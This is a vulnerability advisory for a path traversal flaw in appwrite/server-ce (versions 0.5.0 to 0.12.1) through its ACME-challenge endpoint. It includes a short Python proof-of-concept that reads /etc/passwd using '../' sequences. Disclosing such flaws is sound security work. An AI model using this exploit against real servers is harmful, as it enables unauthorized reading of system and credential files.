Path Traversal Affecting appwrite/server-ce package, versions >=0.5.0, <0.12.2

appwrite/server-ce is an End to end backend server for frontend and mobile apps.

Affected versions of this package are vulnerable to Path Traversal due to the ACME-challenge endpoint. An attacker can read arbitrary local files by utilizing directory traversal sequences.

Notes:

1. This is only exploitable if APP_STORAGE_CERTIFICATES/.well-known/acme-challenge exists on disk, which occurs automatically if the user opts to install Let's Encrypt certificates via the application.

2. If php is running as root as it is in provided docker environment, the LFI allows for reading any file on the system.

import urllib.request

### Appwrite Unauthenticated LFI
# Vulnerable versions: 0.5.0 <= 0.12.1
# Date: 2021-12-08
# Author: @dubs3c
# dubell.io
#
# $APP_STORAGE_CERTIFICATES/.well-known/acme-challenge must exist on target's disk

try:
    r = urllib.request.urlopen('http://localhost:8080/.well-known/acme-challenge/../../../../../../../../etc/passwd')
    print(r.read().decode())
except urllib.error.HTTPError as e:
    print(f"[-] Status code {e.status}. Exploit not possible...")

• Additional Information
• GitHub Commit
• GitHub PR
• Vulnerable Code